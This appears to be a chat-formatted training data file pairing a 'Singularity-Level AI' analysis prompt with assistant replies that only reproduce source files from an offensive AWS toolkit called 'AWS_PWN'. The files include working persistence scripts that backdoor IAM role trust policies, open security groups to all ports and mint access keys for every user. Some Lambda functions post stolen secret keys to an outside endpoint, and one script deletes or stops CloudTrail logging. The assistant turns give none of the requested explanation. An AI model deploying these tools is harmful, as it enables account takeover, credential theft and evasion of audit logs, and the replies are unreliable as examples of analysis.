https://docs.aws.amazon.com/cli/latest/reference/cloudtrail/list-public-keys.html\naws cloudtrail list-public-keys > cloudtrail-list-public-keys.json\n\n# https://docs.aws.amazon.com/cli/latest/reference/cloudformation/\n###\n# https://docs.aws.amazon.com/cli/latest/reference/cloudformation/describe-account-limits.html\naws cloudformation describe-account-limits > cloudformation-describe-account-limits.json\n# https://docs.aws.amazon.com/cli/latest/reference/cloudformation/describe-stacks.html\naws cloudformation describe-stacks > cloudformation-describe-stacks.json\n# https://docs.aws.amazon.com/cli/latest/reference/cloudformation/list-exports.html\naws cloudformation list-exports > cloudformation-list-exports.json\n# https://docs.aws.amazon.com/cli/latest/reference/cloudformation/list-stacks.html\naws cloudformation list-stacks > cloudformation-list-stacks.json\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<|im_end|>"}
{"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'AWS_PWN' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: miscellanea/download_docs.sh\n<|im_end|>\n<|im_start|>assistant\nREPO: AWS_PWN\nCODE:\n#!/bin/sh\nwget -np -r -k -H --domains=docs.aws.amazon.com https://aws.amazon.com/documentation/\n<|im_end|>"}
{"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'AWS_PWN' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: persistence/backdoor_all_roles.py\n<|im_end|>\n<|im_start|>assistant\nREPO: AWS_PWN\nCODE:\n#!/usr/bin/env python\nfrom __future__ import print_function\nimport boto3\nimport json\nimport random\n\n# A list of Role, User, and account ARNs to allow \n# assumption from at random.\nBACKDOOR_ROLES = [\n 'your-arn-here'\n]\n\ndef main(args):\n backdoor_roles(get_roles())\n\n\ndef get_roles():\n client = boto3.client('iam')\n response = None\n role_names = []\n marker = None\n \n # By default, only 100 roles are returned at a time.\n # 'Marker' is used for pagination.\n while (response is None or response['IsTruncated']):\n # Marker is only accepted if result was truncated.\n if marker is None:\n response = client.list_roles()\n else:\n response = client.list_roles(Marker=marker) \n\n roles = response['Roles']\n for role in roles:\n print(role['Arn'])\n role_names.append(role['RoleName'])\n\n if response['IsTruncated']:\n marker = response['Marker']\n \n return role_names\n\n\ndef backdoor_roles(role_names):\n for role_name in role_names:\n backdoor_role(role_name)\n\n\ndef backdoor_role(role_name):\n iam = boto3.resource('iam')\n role = iam.Role(role_name)\n original_policy = role.assume_role_policy_document\n hacked_policy = modify_assume_role_policy(original_policy)\n\n client = boto3.client('iam')\n response = client.update_assume_role_policy(RoleName=role_name, PolicyDocument=json.dumps(hacked_policy))\n\n\ndef modify_assume_role_policy(original_policy):\n if 'Statement' in original_policy:\n statements = original_policy['Statement']\n for statement in statements:\n if 'Effect' in statement and statement['Effect'] == 'Allow':\n if 'Principal' in statement and isinstance(statement['Principal'], dict):\n # Principals can be services, federated users, etc.\n # 'AWS' signals a specific account based resource\n # print(statement['Principal'])\n if 'AWS' in statement['Principal']:\n if isinstance(statement['Principal']['AWS'], list):\n # If there are multiple principals, append to the list\n statement['Principal']['AWS'].append(random.choice(BACKDOOR_ROLES))\n else:\n # If a single principal exists, make it into a list\n statement['Principal']['AWS'] = [\n statement['Principal']['AWS'],\n random.choice(BACKDOOR_ROLES)\n ]\n else:\n # No account based principal principal exists\n statement['Principal']['AWS'] = random.choice(BACKDOOR_ROLES)\n elif 'Principal' not in statement:\n # This shouldn't be possible, but alas, it is\n statement['Principal'] = {'AWS': random.choice(BACKDOOR_ROLES)}\n\n return original_policy # now modified in line\n\n\nif __name__ == '__main__':\n args = None\n main(args)\n<|im_end|>"}
{"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'AWS_PWN' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: persistence/backdoor_all_security_groups.py\n<|im_end|>\n<|im_start|>assistant\nREPO: AWS_PWN\nCODE:\n#!/usr/bin/env python\nfrom __future__ import print_function\nimport boto3\nfrom botocore.exceptions import ClientError\nimport json\nimport random\n\n\n# A list of rules to add at random to security groups.\nBACKDOOR_RULES = [\n { 'FromPort': 0, 'ToPort': 65535, 'CidrIp': '127.0.0.1/32', 'IpProtocol': '-1'}\n]\n\n\ndef main(args):\n backdoor_security_groups(get_security_groups())\n \n\ndef get_security_groups():\n client = boto3.client('ec2')\n response = None\n security_group_names = []\n marker = None\n \n response = client.describe_security_groups()\n for security_group in response['SecurityGroups']:\n security_group_names.append(security_group['GroupName'])\n \n return security_group_names\n\n\ndef backdoor_security_groups(security_group_names):\n for security_group_name in security_group_names:\n backdoor_security_group(security_group_name)\n\n\ndef backdoor_security_group(security_group_name):\n print(security_group_name)\n client = boto3.client('ec2')\n backdoor_rule = random.choice(BACKDOOR_RULES)\n try:\n response = client.authorize_security_group_ingress(\n GroupName=security_group_name,\n CidrIp=backdoor_rule['CidrIp'],\n FromPort=backdoor_rule['FromPort'],\n ToPort=backdoor_rule['ToPort'],\n IpProtocol=backdoor_rule['IpProtocol']\n )\n # If it is an old account, you may need to use:\n # authorize_db_security_group_ingress\n # authorize_cache_security_group_ingress\n # authorize_cluster_security_group_ingress\n except ClientError as e:\n print(\" \" + e.response['Error']['Message'])\n\n\nif __name__ == '__main__':\n args = None\n main(args)\n<|im_end|>"}
{"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'AWS_PWN' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: persistence/backdoor_all_users.py\n<|im_end|>\n<|im_start|>assistant\nREPO: AWS_PWN\nCODE:\n#!/usr/bin/env python\nfrom __future__ import print_function\nimport boto3\nfrom botocore.exceptions import ClientError\nimport json\n\n\ndef main(args):\n backdoor_users(get_users())\n\n\ndef get_users():\n client = boto3.client('iam')\n response = None\n user_names = []\n marker = None\n \n # By default, only 100 users are returned at a time.\n # 'Marker' is used for pagination.\n while (response is None or response['IsTruncated']):\n # Marker is only accepted if result was truncated.\n if marker is None:\n response = client.list_users()\n else:\n response = client.list_users(Marker=marker) \n\n users = response['Users']\n for user in users:\n user_names.append(user['UserName'])\n\n if response['IsTruncated']:\n marker = response['Marker']\n \n return user_names\n\n\ndef backdoor_users(user_names):\n for user_name in user_names:\n backdoor_user(user_name)\n\n\ndef backdoor_user(user_name):\n print(user_name)\n client = boto3.client('iam')\n try:\n response = client.create_access_key(UserName=user_name)\n print(\" \" + response['AccessKey']['AccessKeyId'])\n print(\" \" + response['AccessKey']['SecretAccessKey']) \n except ClientError as e:\n print(\" \" + e.response['Error']['Message'])\n\n\nif __name__ == '__main__':\n args = None\n main(args)\n<|im_end|>"}
{"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'AWS_PWN' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: persistence/backdoor_created_roles_lambda/backdoor_created_roles_lambda.py\n<|im_end|>\n<|im_start|>assistant\nREPO: AWS_PWN\nCODE:\n#!/usr/bin/env python\nfrom __future__ import print_function\nimport json\nimport boto3\nfrom botocore.exceptions import ClientError\nimport requests\nimport random\n\n# An endpoint to send access keys to, e.g. http://requestb.in/\nPOST_URL = 'https://...'\n\nBACKDOOR_ROLES = [\n 'your-arn-here'\n]\n\n\ndef lambda_handler(event, context):\n if event['detail']['eventName'] == 'CreateRole':\n role_name = event['detail']['requestParameters']['roleName']\n iam = boto3.resource('iam')\n role = iam.Role(role_name)\n original_policy = role.assume_role_policy_document\n hacked_policy = modify_assume_role_policy(original_policy)\n client = boto3.client('iam')\n response = client.update_assume_role_policy(RoleName=role_name, PolicyDocument=json.dumps(hacked_policy))\n requests.post(POST_URL, data={\n \"RoleArn\": event['detail']['responseElements']['role']['arn']\n })\n return None\n\n\ndef modify_assume_role_policy(original_policy):\n if 'Statement' in original_policy:\n statements = original_policy['Statement']\n for statement in statements:\n if 'Effect' in statement and statement['Effect'] == 'Allow':\n if 'Principal' in statement and isinstance(statement['Principal'], dict):\n # Principals can be services, federated users, etc.\n # 'AWS' signals a specific account based resource\n # print(statement['Principal'])\n if 'AWS' in statement['Principal']:\n if isinstance(statement['Principal']['AWS'], list):\n # If there are multiple principals, append to the list\n statement['Principal']['AWS'].append(random.choice(BACKDOOR_ROLES))\n else:\n # If a single principal exists, make it into a list\n statement['Principal']['AWS'] = [\n statement['Principal']['AWS'],\n random.choice(BACKDOOR_ROLES)\n ]\n else:\n # No account based principal principal exists\n statement['Principal']['AWS'] = random.choice(BACKDOOR_ROLES)\n elif 'Principal' not in statement:\n # This shouldn't be possible, but alas, it is\n statement['Principal'] = {'AWS': random.choice(BACKDOOR_ROLES)}\n\n return original_policy # now modified in line\n<|im_end|>"}
{"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'AWS_PWN' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: persistence/backdoor_created_security_groups_lambda/backdoor_created_security_groups_lambda.py\n<|im_end|>\n<|im_start|>assistant\nREPO: AWS_PWN\nCODE:\n#!/usr/bin/env python\nfrom __future__ import print_function\nimport json\nimport boto3\nimport random\n\n# A list of rules to add at random to security groups.\nBACKDOOR_RULES = [\n { 'FromPort': 0, 'ToPort': 65535, 'CidrIp': '127.0.0.1/32', 'IpProtocol': '-1'}\n]\n\n\ndef lambda_handler(event, context):\n if event['detail']['eventName'] == 'CreateSecurityGroup':\n security_group_name = event['detail']['requestParameters']['groupName']\n client = boto3.client('ec2')\n backdoor_rule = random.choice(BACKDOOR_RULES)\n response = client.authorize_security_group_ingress(\n GroupName=security_group_name,\n CidrIp=backdoor_rule['CidrIp'],\n FromPort=backdoor_rule['FromPort'],\n ToPort=backdoor_rule['ToPort'],\n IpProtocol=backdoor_rule['IpProtocol']\n )\n return None\n<|im_end|>"}
{"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'AWS_PWN' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: persistence/backdoor_created_users_lambda/backdoor_created_users_lambda.py\n<|im_end|>\n<|im_start|>assistant\nREPO: AWS_PWN\nCODE:\n#!/usr/bin/env python\nfrom __future__ import print_function\nimport json\nimport boto3\nfrom botocore.exceptions import ClientError\nimport requests\n\n# An endpoint to send access keys to, e.g. http://requestb.in/\nPOST_URL = 'https://...'\n\ndef lambda_handler(event, context):\n if event['detail']['eventName'] == 'CreateUser':\n user_name = event['detail']['requestParameters']['userName']\n client = boto3.client('iam')\n try:\n response = client.create_access_key(UserName=user_name)\n requests.post(POST_URL, data={\n \"AccessKeyId\": response['AccessKey']['AccessKeyId'],\n \"SecretAccessKey\": response['AccessKey']['SecretAccessKey']\n })\n except ClientError as e:\n requests.post(POST_URL, data={\"Error\": e.response['Error']['Message']})\n return None\n<|im_end|>"}
{"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'AWS_PWN' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: persistence/cli_lambda/cli_lambda.py\n<|im_end|>\n<|im_start|>assistant\nREPO: AWS_PWN\nCODE:\n#!/usr/bin/env python\n\nfrom __future__ import print_function\nimport awscli\nimport awscli.clidriver\nfrom cStringIO import StringIO\nimport sys\nimport json\n\n\ndef lambda_handler(event, context):\n old_stdout = sys.stdout\n sys.stdout = mystdout = StringIO()\n\n driver = awscli.clidriver.create_clidriver()\n driver.main(args=event[\"command\"])\n\n sys.stdout = old_stdout\n\n return json.loads(mystdout.getvalue())\n \n \nif __name__ == '__main__':\n event = {\n \"command\": [\n \"sts\",\n \"get-caller-identity\"\n ]\n }\n print(lambda_handler(event, None))\n<|im_end|>"}
{"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'AWS_PWN' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: persistence/rabbit_lambda/rabbit_lambda.py\n<|im_end|>\n<|im_start|>assistant\nREPO: AWS_PWN\nCODE:\n#!/usr/bin/env python\nfrom __future__ import print_function\nimport json\nimport boto3\nimport random\nimport re\nimport string\n\nUSER_FORMAT_RE = r'^rabbit-\\d{10}$'\nUSER_FORMAT_PREFIX = 'rabbit-'\n\n\ndef lambda_handler(event, context):\n if event['detail']['eventName'] == 'DeleteUser':\n deletedUser = event['detail']['requestParameters']['userName']\n if re.match(USER_FORMAT_RE, deletedUser, re.M|re.I):\n client = boto3.client('iam')\n newUser = USER_FORMAT_PREFIX + ''.join(random.choice(string.digits) for _ in range(10))\n client.create_user(UserName = newUser)\n newUser = USER_FORMAT_PREFIX + ''.join(random.choice(string.digits) for _ in range(10))\n client.create_user(UserName = newUser)\n return None\n \n \nif __name__ == '__main__':\n event = {\n \"account\":\"123456789012\",\n \"region\":\"us-east-1\",\n \"detail\":{\n \"eventVersion\":\"1.02\",\n \"eventID\":\"fb2a5c74-1234-1234-1234-1234560ddaf2\",\n \"eventTime\":\"2016-06-26T02:06:50Z\",\n \"requestParameters\":{\n \"userName\":USER_FORMAT_PREFIX + \"1234567890\"\n },\n \"eventType\":\"AwsApiCall\",\n \"responseElements\": None,\n \"awsRegion\":\"us-east-1\",\n \"eventName\":\"DeleteUser\",\n \"userIdentity\":{\n \"principalId\":\"123456789012\",\n \"accessKeyId\":\"ABCDEFGHIJKLMNOPQRST\",\n \"sessionContext\":{\n \"attributes\":{\n \"creationDate\":\"2016-06-26T00:57:02Z\",\n \"mfaAuthenticated\":\"true\"\n }\n },\n \"type\":\"Root\",\n \"arn\":\"arn:aws:iam::123456789012:root\",\n \"accountId\":\"123456789012\"\n },\n \"eventSource\":\"iam.amazonaws.com\",\n \"requestID\":\"a53939f5-1234-1234-1234-35e68685372d\",\n \"userAgent\":\"console.amazonaws.com\",\n \"sourceIPAddress\":\"1.2.3.4\"\n },\n \"detail-type\":\"AWS API Call via CloudTrail\",\n \"source\":\"aws.iam\",\n \"version\":\"0\",\n \"time\":\"2016-06-26T02:06:50Z\",\n \"id\":\"e6209d69-1234-1234-1234-a347e6ad8dd4\",\n \"resources\":[\n\n ]\n }\n print(lambda_handler(event, None))\n<|im_end|>"}
{"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'AWS_PWN' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: reconnaissance/validate_accounts.py\n<|im_end|>\n<|im_start|>assistant\nREPO: AWS_PWN\nCODE:\n#!/usr/bin/env python\nfrom __future__ import print_function\nimport json\nimport argparse\nimport re\nimport requests\nimport validators\n\n\ndef main(args):\n all_results = []\n for line in args.input_file.readlines():\n line = line.strip()\n if(line and not line.startswith('#')):\n result = validate_account('signin', line)\n all_results.append(result)\n if result['exists']:\n print(json.dumps(result, indent=2))\n args.input_file.close()\n\n if(args.output_file is not None):\n args.output_file.write(json.dumps(all_results, indent=2))\n args.output_file.close()\n \n\ndef validate_account(validation_type, account):\n validation_functions = {\n 'signin': validate_account_signin\n }\n if validation_functions[validation_type]:\n return validation_functions[validation_type](account)\n\n\ndef validate_account_signin(account):\n result = {\n 'accountAlias': None,\n 'accountId': None,\n 'signinUri': 'https://' + account + '.signin.aws.amazon.com/',\n 'exists': False,\n 'error': None\n }\n\n if re.match(r'\\d{12}', account):\n result['accountId'] = account\n else:\n result['accountAlias'] = account\n\n if not validators.url(result['signinUri']):\n result['error'] = 'Invalid URI'\n return result\n\n try:\n r = requests.get(result['signinUri'], allow_redirects=False)\n if r.status_code == 302:\n result['exists'] = True\n except requests.exceptions.RequestException as e:\n result['error'] = e\n\n return result\n \n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description=\"Validate existence of an account ID or account alias.\")\n parser.add_argument('-i',\n '--input-file',\n type=argparse.FileType('r'),\n required=True)\n parser.add_argument('-o',\n '--output-file',\n type=argparse.FileType('w'))\n args = parser.parse_args()\n main(args)\n<|im_end|>"}
{"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'AWS_PWN' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: reconnaissance/validate_iam_access_keys.py\n<|im_end|>\n<|im_start|>assistant\nREPO: AWS_PWN\nCODE:\n#!/usr/bin/env python\nfrom __future__ import print_function\nimport boto3\nfrom botocore.exceptions import ClientError\nimport json\nimport argparse\n\n\ndef main(args):\n all_results = []\n for line in args.input_file.readlines():\n line = line.strip()\n if(line and not line.startswith('#')):\n parts = line.split()\n access_key_id = secret_access_key = session_token = None\n if (len(parts) >= 2):\n access_key_id = parts[0]\n secret_access_key = parts[1]\n if (len(parts) >= 3):\n session_token = parts[2]\n result = validate_key('caller_identity', access_key_id, secret_access_key, session_token)\n all_results.append(result)\n if result['result'] == 'success':\n print(json.dumps(result, indent=2))\n args.input_file.close()\n\n if(args.output_file is not None):\n args.output_file.write(json.dumps(all_results, indent=2))\n args.output_file.close()\n\n\ndef validate_key(validation_type, access_key_id, secret_access_key, session_token=None):\n validation_functions = {\n 'caller_identity': validate_key_caller_identity\n }\n if validation_functions[validation_type]:\n return validation_functions[validation_type](access_key_id, secret_access_key, session_token) \n\n\ndef validate_key_caller_identity(access_key_id, secret_access_key, session_token=None):\n client = boto3.client(\n 'sts',\n aws_access_key_id=access_key_id,\n aws_secret_access_key=secret_access_key,\n aws_session_token=session_token,\n )\n \n result = {\n 'result': 'failure',\n 'error': None,\n 'accessKeyId': access_key_id,\n 'secretAccessKey': secret_access_key,\n 'sessionToken': session_token,\n 'accountId': None,\n 'userId': None,\n 'arn': None \n }\n\n try:\n response = client.get_caller_identity()\n result['result'] = 'success' \n result['accountId'] = response['Account'] \n result['userId'] = response['UserId'] \n result['arn'] = response['Arn'] \n except ClientError as e:\n result['error'] = e.response['Error']['Message']\n \n return result\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description=\"Validate AWS access keys and secrets in a TSV.\")\n parser.add_argument('-i',\n '--input-file',\n type=argparse.FileType('r'),\n required=True)\n parser.add_argument('-o',\n '--output-file',\n type=argparse.FileType('w'))\n args = parser.parse_args()\n main(args)\n<|im_end|>"}
{"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'AWS_PWN' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: reconnaissance/validate_iam_principals.py\n<|im_end|>\n<|im_start|>assistant\nREPO: AWS_PWN\nCODE:\n#!/usr/bin/env python\nfrom __future__ import print_function\nimport boto3\nfrom botocore.exceptions import ClientError\nimport json\nimport argparse\nimport uuid\nfrom datetime import datetime\n\n\ndef main(args):\n all_results = []\n for line in args.input_file.readlines():\n line = line.strip()\n if(line and not line.startswith('#')):\n result = validate_principal('trust_policy', line)\n all_results.append(result)\n if result['exists']:\n print(json.dumps(result, indent=2))\n args.input_file.close()\n\n if(args.output_file is not None):\n args.output_file.write(json.dumps(all_results, indent=2))\n args.output_file.close()\n \n\ndef validate_principal(validation_type, principal_name):\n validation_functions = {\n 'trust_policy': validate_principal_trust_policy\n }\n if validation_functions[validation_type]:\n return validation_functions[validation_type](principal_name)\n\n\ndef validate_principal_trust_policy(principal_name):\n # This test requires authentication\n # It also requires iam:createRole and iam:deleteRole permissions\n # Warning: Check credentials before use\n result = {\n 'principalName': principal_name,\n 'accountId': args.account_id,\n 'arn': 'arn:aws:iam::' + args.account_id + ':' + principal_name,\n 'exists': False,\n 'error': None\n }\n\n client = boto3.client('iam')\n template_policy = \"\"\"{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"\",\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"AWS\": \"arn:aws:iam::ACCOUNT_ID:PRINCIPAL\"\n },\n \"Action\": \"sts:AssumeRole\"\n }\n ]\n }\"\"\"\n \n try:\n test_role_name = 'test_role_{}'.format(uuid.uuid4())\n test_role_policy = template_policy.replace('ACCOUNT_ID', args.account_id).replace('PRINCIPAL', principal_name)\n response = client.create_role(\n RoleName=test_role_name,\n AssumeRolePolicyDocument=test_role_policy\n )\n result['exists'] = True\n try:\n client.delete_role(RoleName=test_role_name)\n except:\n pass\n except ClientError as e:\n result['error'] = e.response['Error']['Message']\n \n return result\n \n\ndef json_serial(obj):\n \"\"\"JSON serializer for objects not serializable by default json code\"\"\"\n if isinstance(obj, datetime):\n serial = obj.isoformat()\n return serial\n raise TypeError (\"Type not serializable\")\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description=\"Validate existence of IAM principals (users, roles etc.) in a file.\")\n parser.add_argument('-i',\n '--input-file',\n type=argparse.FileType('r'),\n required=True)\n parser.add_argument('-o',\n '--output-file',\n type=argparse.FileType('w'))\n parser.add_argument('-a',\n '--account-id',\n required=True)\n args = parser.parse_args()\n main(args)\n<|im_end|>"}
{"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'AWS_PWN' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: reconnaissance/validate_s3_buckets.py\n<|im_end|>\n<|im_start|>assistant\nREPO: AWS_PWN\nCODE:\n#!/usr/bin/env python\nfrom __future__ import print_function\nimport boto3\nfrom botocore.exceptions import ClientError\nimport json\nimport argparse\n\n\ndef main(args):\n all_results = []\n for line in args.input_file.readlines():\n line = line.strip()\n if(line and not line.startswith('#')):\n result = validate_bucket('head', line)\n all_results.append(result)\n if result['exists']:\n print(json.dumps(result, indent=2))\n args.input_file.close()\n\n if(args.output_file is not None):\n args.output_file.write(json.dumps(all_results, indent=2))\n args.output_file.close()\n \n\ndef validate_bucket(validation_type, bucket_name):\n validation_functions = {\n 'head': validate_bucket_head\n }\n if validation_functions[validation_type]:\n return validation_functions[validation_type](bucket_name)\n\n\ndef validate_bucket_head(bucket_name):\n # This test requires authentication\n # Warning: Check credentials before use\n error_values = {\n '400': True,\n '403': True,\n '404': False\n }\n result = {\n 'bucketName': bucket_name,\n 'bucketUri': 'http://' + bucket_name + '.s3.amazonaws.com',\n 'arn': 'arn:aws:s3:::' + bucket_name,\n 'exists': False\n }\n\n client = boto3.client('s3')\n try:\n client.head_bucket(Bucket=bucket_name)\n result['exists'] = True\n except ClientError as e:\n result['exists'] = error_values[e.response['Error']['Code']]\n return result\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description=\"Validate existence of s3 buckets in a file.\")\n parser.add_argument('-i',\n '--input-file',\n type=argparse.FileType('r'),\n required=True)\n parser.add_argument('-o',\n '--output-file',\n type=argparse.FileType('w'))\n args = parser.parse_args()\n main(args)\n<|im_end|>"}
{"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'AWS_PWN' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: stealth/disrupt_cloudtrail.py\n<|im_end|>\n<|im_start|>assistant\nREPO: AWS_PWN\nCODE:\n#!/usr/bin/env python\nfrom __future__ import print_function\nimport boto3\nfrom botocore.exceptions import ClientError\nimport json\nimport argparse\n\n\ndef main(args):\n all_results = []\n\n trails = get_trails()\n if not trails:\n print(\"No cloudtrails found.\")\n return\n \n if(args.delete):\n delete_trails(trails)\n if(args.stop):\n stop_trails(trails)\n\n\ndef delete_trails(trails):\n client = boto3.client('cloudtrail')\n for trail in trails:\n try:\n response = client.delete_trail(Name=trail['TrailARN'])\n print('Deleted: ' + trail['TrailARN'])\n except ClientError as e:\n print('Failed to delete: ' + trail['TrailARN']) \n\n\ndef stop_trails(trails):\n client = boto3.client('cloudtrail')\n for trail in trails:\n try:\n response = client.stop_logging(Name=trail['TrailARN'])\n print('Stopped: ' + trail['TrailARN'])\n except ClientError as e:\n print('Failed to stop: ' + trail['TrailARN']) \n\n\ndef get_trails():\n client = boto3.client('cloudtrail')\n result = []\n\n try:\n response = client.describe_trails()\n result = response['trailList']\n except ClientError as e:\n print(e.response['Error']['Message'])\n\n return result\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description=\"Attempts to disrupt logging in the specified way.\")\n parser.add_argument('-d',\n '--delete',\n action='store_true')\n parser.add_argument('-s',\n '--stop',\n action='store_true')\n args = parser.parse_args()\n main(args)\n<|im_end|>"}